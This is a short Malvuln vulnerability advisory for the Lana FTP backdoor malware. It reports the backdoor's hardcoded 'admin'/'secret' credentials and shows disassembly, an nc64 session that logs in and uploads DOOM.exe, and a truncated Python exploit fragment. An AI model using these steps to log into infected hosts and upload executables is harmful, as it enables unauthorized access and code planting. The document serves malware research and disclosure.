Discovery / credits: Malvuln - (c) 2022  
Original source:  
Threat: Backdoor.Win32.FTP.Lana.01.d  
Vulnerability: Weak Hardcoded Credentials  
Family: Lana  
Type: PE32  
MD5: ea9ab5983a6fa71e31907e74d4ddbab6  
Vuln ID: MVID-2022-0539  
Dropped files: sersvc32.exe  
Disclosure: 04/06/2022  
Description: The malware listens in TCP port 9003. The credentials "admin" and "secret" are weak and stored in plaintext with the executable.  
00404004 aAdmin db 'admin',0 ; DATA XREF 00401FBF  
00404004 ; sub_402765+4A3โ†‘o  
00404019 aSecret db 'secret',0 ; DATA XREF 00401FA8  
nc64.exe x.x.x.x 9003  
220 Silver FTP v1.1   
USER admin   
331 Password required for admin.   
PASS secret   
230 User logged in, proceed.   
215 UNIX Type: L8   
227 Entering Passive Mode (192,168,18,125,195,84).   
STOR DOOM.exe   
150 Data connection accepted.   
226 Transfer ok   
from socket import *  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
f = open(DOOM, "rb")  
EXE =  
while EXE:  
print("By Malvuln");  
if __name__=="__main__":  
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